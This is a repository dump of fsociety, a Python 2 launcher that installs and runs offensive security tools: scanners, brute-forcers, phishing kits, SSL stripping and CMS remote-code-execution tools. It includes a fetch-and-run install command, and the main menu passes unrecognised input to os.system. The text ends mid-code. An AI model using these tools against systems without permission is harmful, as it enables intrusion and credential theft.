Repository: Manisso/fsociety Branch: master Commit: b76ac01449c0 Files: 18 Total size: 90.2 KB Directory structure: gitextract_lupzxt8z/ ├── .gitignore ├── CODE_OF_CONDUCT.md ├── CONTRIBUTING.md ├── Dockerfile ├── ISSUE_TEMPLATE.md ├── LICENSE ├── README.md ├── docker-compose.yml ├── docs/ │ ├── css/ │ │ └── style.css │ ├── favicon/ │ │ ├── browserconfig.xml │ │ └── manifest.json │ └── index.html ├── fsociety.cfg ├── fsociety.py ├── install.sh ├── snap/ │ └── snapcraft.yaml ├── uninstall └── update.sh ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ install logs/ tools/ .DS_Store ================================================ FILE: CODE_OF_CONDUCT.md ================================================ # Contributor Covenant Code of Conduct ## Our Pledge In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation. ## Our Standards Examples of behavior that contributes to creating a positive environment include: * Using welcoming and inclusive language * Being respectful of differing viewpoints and experiences * Gracefully accepting constructive criticism * Focusing on what is best for the community * Showing empathy towards other community members Examples of unacceptable behavior by participants include: * The use of sexualized language or imagery and unwelcome sexual attention or advances * Trolling, insulting/derogatory comments, and personal or political attacks * Public or private harassment * Publishing others' private information, such as a physical or electronic address, without explicit permission * Other conduct which could reasonably be considered inappropriate in a professional setting ## Our Responsibilities Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. ## Scope This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. ## Enforcement Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at manis98@live.com. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. ## Attribution This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version] [homepage]: http://contributor-covenant.org [version]: http://contributor-covenant.org/version/1/4/ ================================================ FILE: CONTRIBUTING.md ================================================ ================================================ FILE: Dockerfile ================================================ # Use Python 2.7 Slim FROM python:2.7-slim # Update Repos RUN apt-get update \ && apt-get install -qq -y --no-install-recommends build-essential sudo git wget curl nmap ruby \ && apt-get clean # Install Python dependecies RUN pip install requests # Install fsociety RUN git clone https://github.com/Manisso/fsociety.git \ && cd fsociety \ && chmod +x install.sh \ && ./install.sh # Change workdir WORKDIR /root/.fsociety/ # Hack to keep the container running CMD python -c "import signal; signal.pause()" ================================================ FILE: ISSUE_TEMPLATE.md ================================================ ## Checkboxes - [ ] Updated fsociety - [ ] Issue does not already exist - [ ] fsociety issue, not a tool issue ## Expected Result ```bash ``` ## Actual Result ```bash ``` ================================================ FILE: LICENSE ================================================ MIT License Copyright (c) 2016-2020 Manisso Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ================================================ FILE: README.md ================================================ # Fsociety Hacking Tools Pack [![Python2.7](https://img.shields.io/badge/Python-2.7-green.svg?style=flat-square)](https://www.python.org/downloads/release/python-2714/) ![OS](https://img.shields.io/badge/Tested%20On-Linux%20|%20OSX%20|%20Windows%20|%20Android-yellowgreen.svg?style=flat-square) ![Docker](https://img.shields.io/docker/automated/jrottenberg/ffmpeg.svg?style=flat-square) [![License](https://img.shields.io/badge/License-MIT-blue.svg?style=flat-square)](https://github.com/Manisso/fsociety/blob/master/LICENSE) A Penetration Testing Framework, you will have every script that a hacker needs. Works with Python 2. For a Python 3 version see our updated version at [`fsociety-team/fsociety`](https://github.com/fsociety-team/fsociety). ## Fsociety Contains All Tools Used in Mr. Robot Series [![Mr. Robot](http://nikolaskama.me/content/images/2016/07/mr-robot-1.gif)](https://wikipedia.org/wiki/Mr._Robot) ## Menu - Information Gathering - Password Attacks - Wireless Testing - Exploitation Tools - Sniffing & Spoofing - Web Hacking - Private Web Hacking - Post Exploitation - Contributors - Install & Update ### Information Gathering: - Nmap - Setoolkit - Host To IP - WPScan - CMS Scanner - XSStrike - Dork - Google Dorks Passive Vulnerability Auditor - Scan A server's Users - Crips ### Password Attacks: - Cupp - Ncrack ### Wireless Testing: - Reaver - Pixiewps - Bluetooth Honeypot ### Exploitation Tools: - ATSCAN - sqlmap - Shellnoob - Commix - FTP Auto Bypass - JBoss Autopwn ### Sniffing & Spoofing: - Setoolkit - SSLtrip - pyPISHER - SMTP Mailer ### Web Hacking: - Drupal Hacking - Inurlbr - Wordpress & Joomla Scanner - Gravity Form Scanner - File Upload Checker - Wordpress Exploit Scanner - Wordpress Plugins Scanner - Shell and Directory Finder - Joomla! 1.5 - 3.4.5 remote code execution - Vbulletin 5.X remote code execution - BruteX - Automatically brute force all services running on a target - Arachni - Web Application Security Scanner Framework ### Private Web Hacking: - Get all websites - Get joomla websites - Get wordpress websites - Control Panel Finder - Zip Files Finder - Upload File Finder - Get server users - SQli Scanner - Ports Scan (range of ports) - Ports Scan (common ports) - Get server Info - Bypass Cloudflare ### Post Exploitation: - Shell Checker - POET - Weeman # Installation ## Installation [Linux](https://wikipedia.org/wiki/Linux) [![alt tag](http://icons.iconarchive.com/icons/dakirby309/simply-styled/32/OS-Linux-icon.png)](https://fr.wikipedia.org/wiki/Linux) ```bash bash <(wget -qO- https://git.io/vAtmB) ``` ## Installation Download [Termux](https://play.google.com/store/apps/details?id=com.termux) ```bash bash <(wget -qO- https://git.io/vAtmB) ``` Follow this video [Arif - Tech](https://www.youtube.com/watch?v=JwK5oOBjpgQ) ## Installation [Windows](https://wikipedia.org/wiki/Microsoft_Windows)[![alt tag](http://icons.iconarchive.com/icons/yootheme/social-bookmark/32/social-windows-button-icon.png)](https://fr.wikipedia.org/wiki/Microsoft_Windows) Download Linux Bash Like [Cygwin](https://www.cygwin.com/) Download [Python](https://www.python.org/downloads/release/python-2714/) Use Google Cloud Console [Cloud Shell](https://console.cloud.google.com/cloudshell/editor?project=&pli=1&shellonly=true) Or use free Ubuntu VPS [c9.io](https://c9.io/) ## [Docker](https://en.wikipedia.org/wiki/Docker_(software)) Usage ![docker logo](https://png.icons8.com/color/50/000000/docker.png) ### Dependecies [Docker](https://www.docker.com/) [Docker-compose](https://docs.docker.com/compose/install/) ```bash docker-compose build docker-compose up -d docker-compose exec fsociety fsociety docker-compose down # destroys instance ``` # Screenshots [![asciicast](https://asciinema.org/a/URj2nvpbYpeJyJe43KlASZ7fz.png)](https://asciinema.org/a/URj2nvpbYpeJyJe43KlASZ7fz) ![alt logo](https://media.giphy.com/media/xT0xeFxyHAKirrLa24/giphy.gif) # Contributors [alexcreek](https://github.com/alexcreek) [mswell](https://github.com/mswell) [Ev3](https://github.com/Ev3) [huangsam](https://github.com/huangsam) [RyanFilho](https://github.com/RyanFilho) [gabru-md](https://github.com/gabru-md) [jdrago999](https://github.com/jdrago999) [CRO-TheHacker](https://github.com/CRO-THEHACKER) # License [MIT Licence](https://github.com/Manisso/fsociety/blob/master/LICENSE) ================================================ FILE: docker-compose.yml ================================================ version: '2' services: fsociety: build: . ================================================ FILE: docs/css/style.css ================================================ @font-face { font-family: "MR ROBOT"; src: url("../fonts/MR ROBOT.ttf"); } .robot-text { font-family: 'MR ROBOT', 'Lucida Console'; color: red; } a:hover { color: OrangeRed; } .robot-logo { font-family: 'MR ROBOT', 'Lucida Console'; color: red; font-size: 25px; } .robot-excerpt { font-size: 12px; } .robot-card { height: 125px; } .robot-hr { width: 25%; border-top: 3px solid red; } .robot-btn { color: white; background-color: red; } ================================================ FILE: docs/favicon/browserconfig.xml ================================================ #ffffff ================================================ FILE: docs/favicon/manifest.json ================================================ { "name": "App", "icons": [ { "src": "\/android-icon-36x36.png", "sizes": "36x36", "type": "image\/png", "density": "0.75" }, { "src": "\/android-icon-48x48.png", "sizes": "48x48", "type": "image\/png", "density": "1.0" }, { "src": "\/android-icon-72x72.png", "sizes": "72x72", "type": "image\/png", "density": "1.5" }, { "src": "\/android-icon-96x96.png", "sizes": "96x96", "type": "image\/png", "density": "2.0" }, { "src": "\/android-icon-144x144.png", "sizes": "144x144", "type": "image\/png", "density": "3.0" }, { "src": "\/android-icon-192x192.png", "sizes": "192x192", "type": "image\/png", "density": "4.0" } ] } ================================================ FILE: docs/index.html ================================================ fsociety - Penetration Testing Framework

fsociety

A Penetration Testing Framework with every script that a hacker needs.

Contains all tools used in the Mr. Robot TV series


Information Gathering

Collect host metadata about services and users.

Password Attacks

Crack passwords and create wordlists.

Wireless Testing

Used for intrusion detection and wifi attacks.

Exploitation Tools

Acesss systems and data with service-oriented exploits.

Sniffing & Spoofing

Listen to network traffic or fake a network entity.

Web Hacking

Exploit popular CMSs that are hosted online.

Private Web Hacking

Access files and databases.

Post Exploitation

Exploits for after you have already gained access.


bash <(wget -qO- https://git.io/vAtmB)

Manisso CRO-THEHACKER huangsam alexcreek mswell jackric Ev3 RyanFilho gabru-md jdrago999
================================================ FILE: fsociety.cfg ================================================ [fsociety] agreement = false toolDir = tools/ logDir = logs/ yes = yes y ye ya yep yeah yee yeperoo not-no ================================================ FILE: fsociety.py ================================================ #!/usr/bin/env python2 # ______ _ _ _______ # | ____| (_) | | |__ __| # | |__ ___ ___ ___ _ ___| |_ _ _ | | ___ __ _ _ __ ___ # | __/ __|/ _ \ / __| |/ _ \ __| | | | | |/ _ \/ _` | '_ ` _ \ # | | \__ \ (_) | (__| | __/ |_| |_| | | | __/ (_| | | | | | | # |_| |___/\___/ \___|_|\___|\__|\__, | |_|\___|\__,_|_| |_| |_| # __/ | # |___/ # # # Greet's To # IcoDz - Canejo # Tool For Hacking # Author : Manisso ''' Imports ''' import sys import argparse import os import httplib import subprocess import re import urllib2 import socket import urllib import sys import json import telnetlib import glob import random import Queue import threading import base64 import time import ConfigParser from sys import argv from commands import * from getpass import getpass from xml.dom import minidom from urlparse import urlparse from optparse import OptionParser from time import gmtime, strftime, sleep ''' Common Functions ''' class color: HEADER = '\033[95m' IMPORTANT = '\33[35m' NOTICE = '\033[33m' OKBLUE = '\033[94m' OKGREEN = '\033[92m' WARNING = '\033[93m' RED = '\033[91m' END = '\033[0m' UNDERLINE = '\033[4m' LOGGING = '\33[34m' def clearScr(): os.system('clear') def yesOrNo(): return (raw_input("Continue Y / N: ") in yes) ''' Config ''' installDir = os.path.dirname(os.path.abspath(__file__)) + '/' configFile = installDir + "/fsociety.cfg" print(installDir) config = ConfigParser.RawConfigParser() config.read(configFile) toolDir = installDir + config.get('fsociety', 'toolDir') logDir = installDir + config.get('fsociety', 'logDir') yes = config.get('fsociety', 'yes').split() color_random=[color.HEADER,color.IMPORTANT,color.NOTICE,color.OKBLUE,color.OKGREEN,color.WARNING,color.RED,color.END,color.UNDERLINE,color.LOGGING] random.shuffle(color_random) fsocietylogo = color_random[0] + ''' d88888b .d8888. .d88b. .o88b. d888888b d88888b d888888b db db 88' 88' YP .8P Y8. d8P Y8 `88' 88 88 `8b d8' 88ooo `8bo. 88 88 8P 88 88ooooo 88 `8bd8' 88 `Y8b. 88 88 8b 88 88 88 88 88 db 8D `8b d8' Y8b d8 .88. 88. 88 88 YP `8888Y' `Y88P' `Y88P' Y888888P Y88888P YP YP ''' fsocietyPrompt = "fsociety ~# " alreadyInstalled = "Already Installed" continuePrompt = "\nClick [Return] to continue" termsAndConditions = color.NOTICE + ''' I shall not use fsociety to: (i) upload or otherwise transmit, display or distribute any content that infringes any trademark, trade secret, copyright or other proprietary or intellectual property rights of any person; (ii) upload or otherwise transmit any material that contains software viruses or any other computer code, files or programs designed to interrupt, destroy or limit the functionality of any computer software or hardware or telecommunications equipment; ''' + color.END mrrobot4 = color.NOTICE + ''' Hello, As we all know, Mr. Robot 4.0 is comming out - the end of Mr. Robot. We will update to python3.7 & add all of the new hacking tool of 4.0 later this year There will be no more updates after the show is done. This is to keep cannon to the show.)) Thank you for all the sourport over the years, the fsociety team thanks you! Feel free to join the NEW DISCORD!!! Anything Mr. Robot will be on the server! [ https://discord.gg/xB87X9z ] Thanks for reading, Zachary, CRO-THEHACKER - Dev''' ''' Starts Menu Classes ''' def agreement(): while not config.getboolean("fsociety", "agreement"): clearScr() print(termsAndConditions) print(mrrobot4) agree = raw_input("You must agree to our terms and conditions first (Y/n) ").lower() if agree in yes: config.set('fsociety', 'agreement', 'true') class fsociety: def __init__(self): clearScr() self.createFolders() print (fsocietylogo + color.RED + ''' }--------------{+} Coded By Manisso {+}--------------{ }--------{+} GitHub.com/Manisso/fsociety {+}--------{ ''' + color.END + ''' {1}--Information Gathering {2}--Password Attacks {3}--Wireless Testing {4}--Exploitation Tools {5}--Sniffing & Spoofing {6}--Web Hacking {7}--Private Web Hacking {8}--Post Exploitation {0}--INSTALL & UPDATE {11}-CONTRIBUTORS {99}-EXIT\n ''') choice = raw_input(fsocietyPrompt) clearScr() if choice == "1": informationGatheringMenu() elif choice == "2": passwordAttacksMenu() elif choice == "3": wirelessTestingMenu() elif choice == "4": exploitationToolsMenu() elif choice == "5": sniffingSpoofingMenu() elif choice == "6": webHackingMenu() elif choice == "7": privateWebHacking() elif choice == "8": postExploitationMenu() elif choice == "0": self.update() elif choice == "11": self.githubContributors() elif choice == "99": with open(configFile, 'wb') as configfile: config.write(configfile) sys.exit() elif choice == "\r" or choice == "\n" or choice == "" or choice == " ": self.__init__() else: try: print(os.system(choice)) except: pass self.completed() def githubContributors(self): clearScr() print(''' dP""b8 dP"Yb 88b 88 888888 88""Yb 88 88""Yb .dP"Y8 dP `" dP Yb 88Yb88 88 88__dP 88 88__dP `Ybo." Yb Yb dP 88 Y88 88 88"Yb 88 88""Yb o.`Y8b YboodP YbodP 88 Y8 88 88 Yb 88 88oodP 8bodP' ''') contributorsURL = 'https://api.github.com/repos/manisso/fsociety/contributors' jsonResponseList = json.loads(urllib2.urlopen(contributorsURL).read()) for dictionary in jsonResponseList: print(" * %s" % dictionary['login']) print('\n') def createFolders(self): if not os.path.isdir(toolDir): os.makedirs(toolDir) if not os.path.isdir(logDir): os.makedirs(logDir) def completed(self): raw_input("Completed, click return to go back") self.__init__() def update(self): os.system("git clone --depth=1 https://github.com/Manisso/fsociety.git") os.system("cd fsociety && bash ./update.sh") os.system("fsociety") class sniffingSpoofingMenu: menuLogo = ''' .dP"Y8 88b 88 88 888888 888888 88 88b 88 dP""b8 `Ybo." 88Yb88 88 88__ 88__ 88 88Yb88 dP `" o.`Y8b 88 Y88 88 88"" 88"" 88 88 Y88 Yb "88 8bodP' 88 Y8 88 88 88 88 88 Y8 YboodP ''' def __init__(self): clearScr() print(self.menuLogo) print( " {1}--SEToolkit - Tool aimed at penetration testing around Social-Engineering") print(" {2}--SSLtrip - MITM tool that implements SSL stripping attacks") print( " {3}--pyPISHER - Tool to create a mallicious website for password pishing") print(" {4}--SMTP Mailer - Tool to send SMTP mail\n ") print(" {99}-Back To Main Menu \n") choice6 = raw_input(fsocietyPrompt) clearScr() if choice6 == "1": setoolkit() elif choice6 == "2": ssls() elif choice6 == "3": pisher() elif choice6 == "4": smtpsend() elif choice6 == "99": fsociety() else: self.__init__() self.completed() def completed(self): raw_input("Completed, click return to go back") self.__init__() class webHackingMenu: menuLogo = ''' Yb dP 888888 88""Yb Yb db dP 88__ 88__dP YbdPYbdP 88"" 88""Yb YP YP 888888 88oodP ''' def __init__(self): clearScr() print(self.menuLogo) print(" {1}--Drupal Hacking ") print(" {2}--Inurlbr") print(" {3}--Wordpress & Joomla Scanner") print(" {4}--Gravity Form Scanner") print(" {5}--File Upload Checker") print(" {6}--Wordpress Exploit Scanner") print(" {7}--Wordpress Plugins Scanner") print(" {8}--Shell and Directory Finder") print(" {9}--Joomla! 1.5 - 3.4.5 remote code execution") print(" {10}-Vbulletin 5.X remote code execution") print( " {11}-BruteX - Automatically brute force all services running on a target") print(" {12}-Arachni - Web Application Security Scanner Framework \n ") print(" {99}-Back To Main Menu \n") choiceweb = raw_input(fsocietyPrompt) clearScr() if choiceweb == "1": maine() elif choiceweb == "2": ifinurl() elif choiceweb == '3': wppjmla() elif choiceweb == "4": gravity() elif choiceweb == "5": sqlscan() elif choiceweb == "6": wpminiscanner() elif choiceweb == "7": wppluginscan() elif choiceweb == "8": shelltarget() elif choiceweb == "9": joomlarce() elif choiceweb == "10": vbulletinrce() elif choiceweb == "11": brutex() elif choiceweb == "12": arachni() elif choiceweb == "99": fsociety() else: self.__init__() self.completed() def completed(self): raw_input("Completed, click return to go back") self.__init__() class privateWebHacking: menuLogo = ''' 88""Yb 88""Yb 88 Yb dP db 888888 888888 88__dP 88__dP 88 Yb dP dPYb 88 88__ 88""" 88"Yb 88 YbdP dP__Yb 88 88"" 88 88 Yb 88 YP dP""""Yb 88 888888 ''' def __init__(self): clearScr() print(self.menuLogo) target = raw_input("Enter Target IP: ") Fscan(target) self.completed() def completed(self): raw_input("Completed, click return to go back") self.__init__() class postExploitationMenu: menuLogo = ''' 88""Yb dP"Yb .dP"Y8 888888 88__dP dP Yb `Ybo." 88 88""" Yb dP o.`Y8b 88 88 YbodP 8bodP' 88 ''' def __init__(self): clearScr() print(self.menuLogo) print(" {1}--Shell Checker") print(" {2}--POET") print(" {3}--Phishing Framework \n") print(" {99}-Return to main menu \n ") choice11 = raw_input(fsocietyPrompt) clearScr() if choice11 == "1": sitechecker() elif choice11 == "2": poet() elif choice11 == "3": weeman() elif choice11 == "99": fsociety() else: self.__init__() self.completed() def completed(self): raw_input("Completed, click return to go back") self.__init__() ''' Information Gathering Tools Classes ''' class informationGatheringMenu: menuLogo = ''' 88 88b 88 888888 dP"Yb 88 88Yb88 88__ dP Yb 88 88 Y88 88"" Yb dP 88 88 Y8 88 YbodP ''' def __init__(self): clearScr() print(self.menuLogo) print(" {1}--Nmap - Network Mapper") print(" {2}--Setoolkit") print(" {3}--Host To IP") print(" {4}--WPScan") print(" {5}--CMSmap") print(" {6}--XSStrike") print(" {7}--Doork") print(" {8}--Crips\n ") print(" {99}-Back To Main Menu \n") choice2 = raw_input(fsocietyPrompt) clearScr() if choice2 == "1": nmap() elif choice2 == "2": setoolkit() elif choice2 == "3": host2ip() elif choice2 == "4": wpscan() elif choice2 == "5": CMSmap() elif choice2 == "6": XSStrike() elif choice2 == "7": doork() elif choice2 == "8": crips() elif choice2 == "99": fsociety() else: self.__init__() self.completed() def completed(self): raw_input("Completed, click return to go back") self.__init__() class nmap: nmapLogo = ''' 88b 88 8b d8 db 88""Yb 88Yb88 88b d88 dPYb 88__dP 88 Y88 88YbdP88 dP__Yb 88""" 88 Y8 88 YY 88 dP""""Yb 88 ''' def __init__(self): self.installDir = toolDir + "nmap" self.gitRepo = "https://github.com/nmap/nmap.git" self.targetPrompt = " Enter Target IP/Subnet/Range/Host: " if not self.installed(): self.install() self.run() else: self.run() def installed(self): return (os.path.isfile("/usr/bin/nmap") or os.path.isfile("/usr/local/bin/nmap")) def install(self): os.system("git clone --depth=1 %s %s" % (self.gitRepo, self.installDir)) os.system("cd %s && ./configure && make && make install" % self.installDir) def run(self): clearScr() print(self.nmapLogo) target = raw_input(self.targetPrompt) self.menu(target) def menu(self, target): clearScr() print(self.nmapLogo) print(" Nmap scan for: %s\n" % target) print(" {1}--Simple Scan [-sV]") print(" {2}--Port Scan [-Pn]") print(" {3}--Operating System Detection [-A]\n") print(" {99}-Return to information gathering menu \n") response = raw_input("nmap ~# ") clearScr() logPath = "logs/nmap-" + strftime("%Y-%m-%d_%H:%M:%S", gmtime()) try: if response == "1": os.system("nmap -sV -oN %s %s" % (logPath, target)) response = raw_input(continuePrompt) elif response == "2": os.system("nmap -Pn -oN %s %s" % (logPath, target)) response = raw_input(continuePrompt) elif response == "3": os.system("nmap -A -oN %s %s" % (logPath, target)) response = raw_input(continuePrompt) elif response == "99": pass else: self.menu(target) except KeyboardInterrupt: self.menu(target) class setoolkit: def __init__(self): self.installDir = toolDir + "setoolkit" self.gitRepo = "https://github.com/trustedsec/social-engineer-toolkit.git" if not self.installed(): self.install() self.run() else: print(alreadyInstalled) self.run() response = raw_input(continuePrompt) def installed(self): return (os.path.isfile("/usr/bin/setoolkit")) def install(self): os.system("apt-get --force-yes -y install git apache2 python-requests libapache2-mod-php \ python-pymssql build-essential python-pexpect python-pefile python-crypto python-openssl") os.system("git clone --depth=1 %s %s" % (self.gitRepo, self.installDir)) os.system("cd %s && python setup.py install" % self.installDir) def run(self): os.system("setoolkit") class host2ip: host2ipLogo = ''' 88 88 dP"Yb .dP"Y8 888888 oP"Yb. 88 88""Yb 88 88 dP Yb `Ybo." 88 "' dP' 88 88__dP 888888 Yb dP o.`Y8b 88 dP' 88 88""" 88 88 YbodP 8bodP' 88 .d8888 88 88 ''' def __init__(self): clearScr() print(self.host2ipLogo) host = raw_input(" Enter a Host: ") ip = socket.gethostbyname(host) print(" %s has the IP of %s" % (host, ip)) response = raw_input(continuePrompt) class wpscan: wpscanLogo = ''' Yb dP 88""Yb .dP"Y8 dP""b8 db 88b 88 Yb db dP 88__dP `Ybo." dP `" dPYb 88Yb88 YbdPYbdP 88""" o.`Y8b Yb dP__Yb 88 Y88 YP YP 88 8bodP' YboodP dP""""Yb 88 Y8 ''' def __init__(self): self.installDir = toolDir + "wpscan" self.gitRepo = "https://github.com/wpscanteam/wpscan.git" if not self.installed(): self.install() clearScr() print(self.wpscanLogo) target = raw_input(" Enter a Target: ") self.menu(target) def installed(self): return (os.path.isdir(self.installDir)) def install(self): os.system("git clone --depth=1 %s %s" % (self.gitRepo, self.installDir)) def menu(self, target): clearScr() print(self.wpscanLogo) print(" WPScan for: %s\n" % target) print(" {1}--Username Enumeration [--enumerate u]") print(" {2}--Plugin Enumeration [--enumerate p]") print(" {3}--All Enumeration Tools [--enumerate]\n") print(" {99}-Return to information gathering menu \n") response = raw_input("wpscan ~# ") clearScr() logPath = "../../logs/wpscan-" + \ strftime("%Y-%m-%d_%H:%M:%S", gmtime()) + ".txt" wpscanOptions = "--no-banner --random-agent --url %s" % target try: if response == "1": os.system( "ruby tools/wpscan/wpscan.rb %s --enumerate u --log %s" % (wpscanOptions, logPath)) response = raw_input(continuePrompt) elif response == "2": os.system( "ruby tools/wpscan/wpscan.rb %s --enumerate p --log %s" % (wpscanOptions, logPath)) response = raw_input(continuePrompt) elif response == "3": os.system( "ruby tools/wpscan/wpscan.rb %s --enumerate --log %s" % (wpscanOptions, logPath)) response = raw_input(continuePrompt) elif response == "99": pass else: self.menu(target) except KeyboardInterrupt: self.menu(target) class CMSmap: CMSmapLogo = ''' dP""b8 8b d8 .dP"Y8 8b d8 db 88""Yb dP `" 88b d88 `Ybo." 88b d88 dPYb 88__dP Yb 88YbdP88 o.`Y8b 88YbdP88 dP__Yb 88""" YboodP 88 YY 88 8bodP' 88 YY 88 dP""""Yb 88 ''' def __init__(self): self.installDir = toolDir + "CMSmap" self.gitRepo = "https://github.com/Dionach/CMSmap.git" if not self.installed(): self.install() clearScr() print(self.CMSmapLogo) target = raw_input(" Enter a Target: ") self.run(target) response = raw_input(continuePrompt) def installed(self): return (os.path.isdir(self.installDir)) def install(self): os.system("git clone --depth=1 %s %s" % (self.gitRepo, self.installDir)) def run(self, target): logPath = "logs/cmsmap-" + \ strftime("%Y-%m-%d_%H:%M:%S", gmtime()) + ".txt" try: os.system("python %s/cmsmap.py -t %s -o %s" % (self.installDir, target, logPath)) except: pass class XSStrike: XSStrikeLogo = ''' Yb dP .dP"Y8 .dP"Y8 888888 88""Yb 88 88 dP 888888 YbdP `Ybo." `Ybo." 88 88__dP 88 88odP 88__ dPYb o.`Y8b o.`Y8b 88 88"Yb 88 88"Yb 88"" dP Yb 8bodP' 8bodP' 88 88 Yb 88 88 Yb 888888 ''' def __init__(self): self.installDir = toolDir + "XSStrike" self.gitRepo = "https://github.com/UltimateHackers/XSStrike.git" if not self.installed(): self.install() clearScr() print(self.XSStrikeLogo) self.run() response = raw_input(continuePrompt) def installed(self): return (os.path.isdir(self.installDir)) def install(self): os.system("git clone --depth=1 %s %s" % (self.gitRepo, self.installDir)) os.system("pip install -r %s/requirements.txt" % self.installDir) def run(self): os.system("python %s/xsstrike" % self.installDir) class doork: doorkLogo = ''' 8888b. dP"Yb dP"Yb 88""Yb 88 dP 8I Yb dP Yb dP Yb 88__dP 88odP 8I dY Yb dP Yb dP 88"Yb 88"Yb 8888Y" YbodP YbodP 88 Yb 88 Yb ''' def __init__(self): self.installDir = toolDir + "doork" self.gitRepo = "https://github.com/AeonDave/doork.git" if not self.installed(): self.install() clearScr() print(self.doorkLogo) target = raw_input(" Enter a Target: ") self.run(target) response = raw_input(continuePrompt) def installed(self): return (os.path.isdir(self.installDir)) def install(self): os.system("git clone --depth=1 %s %s" % (self.gitRepo, self.installDir)) os.system("pip install beautifulsoup4 requests Django==1.11") def run(self, target): if not "http://" in target: target = "http://" + target logPath = "logs/doork-" + \ strftime("%Y-%m-%d_%H:%M:%S", gmtime()) + ".txt" try: os.system("python %s/doork.py -t %s -o %s" % (self.installDir, target, logPath)) except KeyboardInterrupt: pass class crips: cripsLogo = ''' dP""b8 88""Yb 88 88""Yb .dP"Y8 dP `" 88__dP 88 88__dP `Ybo." Yb 88"Yb 88 88""" o.`Y8b YboodP 88 Yb 88 88 8bodP' ''' def __init(self): self.installDir = toolDir + "Crips" self.gitRepo = "https://github.com/Manisso/Crips.git" if not self.installed(): self.install() clearScr() print(self.cripsLogo) self.run() def installed(self): return (os.path.isdir(self.installDir) or os.path.isdir("/usr/share/doc/Crips")) def install(self): os.system("git clone --depth=1 %s %s" % (self.gitRepo, self.installDir)) os.system("bash %s/install.sh" % self.installDir) def run(self): try: os.system("crips") except: pass ''' Password Attack Tools Classes ''' class passwordAttacksMenu: menuLogo = ''' 88""Yb db .dP"Y8 .dP"Y8 Yb dP 8888b. 88__dP dPYb `Ybo." `Ybo." Yb db dP 8I Yb 88""" dP__Yb o.`Y8b o.`Y8b YbdPYbdP 8I dY 88 dP""""Yb 8bodP' 8bodP' YP YP 8888Y" ''' def __init__(self): clearScr() print(self.menuLogo) print(" {1}--Cupp - Common User Passwords Profiler") print( " {2}--BruteX - Automatically bruteforces all services running on a target\n") print(" {99}-Back To Main Menu \n") choice3 = raw_input("passwd ~# ") clearScr() if choice3 == "1": cupp() elif choice3 == "2": brutex() elif choice3 == "99": fsociety() else: self.__init__() self.completed() def completed(self): raw_input("Completed, click return to go back") self.__init__() class cupp: cuppLogo = ''' dP""b8 88 88 88""Yb 88""Yb dP `" 88 88 88__dP 88__dP Yb Y8 8P 88""" 88""" YboodP `YbodP' 88 88 ''' def __init__(self): self.installDir = toolDir + "cupp" self.gitRepo = "https://github.com/Mebus/cupp.git" if not self.installed(): self.install() clearScr() print(self.cuppLogo) self.run() def installed(self): return (os.path.isdir(self.installDir)) def install(self): os.system("git clone --depth=1 %s %s" % (self.gitRepo, self.installDir)) def run(self): os.system("python %s/cupp.py -i" % self.installDir) ''' Wireless Testing Tools Classes ''' class wirelessTestingMenu: menuLogo = ''' Yb dP 88 88""Yb 888888 88 888888 .dP"Y8 .dP"Y8 Yb db dP 88 88__dP 88__ 88 88__ `Ybo." `Ybo." YbdPYbdP 88 88"Yb 88"" 88 .o 88"" o.`Y8b o.`Y8b YP YP 88 88 Yb 888888 88ood8 888888 8bodP' 8bodP' ''' def __init__(self): clearScr() print(self.menuLogo) print(" {1}--reaver ") print(" {2}--pixiewps") print(" {3}--Bluetooth Honeypot GUI Framework \n") print(" {99}-Back To The Main Menu \n") choice4 = raw_input(fsocietyPrompt) clearScr() if choice4 == "1": reaver() elif choice4 == "2": pixiewps() elif choice4 == "3": bluepot() elif choice4 == "99": fsociety() else: self.__init__() self.completed() def completed(self): raw_input("Completed, click return to go back") self.__init__() class reaver: def __init__(self): self.installDir = toolDir + "reaver" self.gitRepo = "https://github.com/t6x/reaver-wps-fork-t6x.git" if not self.installed(): self.install() clearScr() self.run() def installed(self): return (os.path.isdir(self.installDir)) def install(self): os.system("git clone --depth=1 %s %s" % (self.gitRepo, self.installDir)) os.system( "apt-get -y install build-essential libpcap-dev sqlite3 libsqlite3-dev aircrack-ng pixiewps") os.system("cd %s/" % self.installDir) os.system("./configure") os.system("make") os.system("sudo make install") def run(self): os.system("reaver --help") class pixiewps: def __init__(self): self.installDir = toolDir + "pixiewps" self.gitRepo = "https://github.com/wiire/pixiewps.git" if not self.installed(): self.install() clearScr() self.run() def installed(self): return 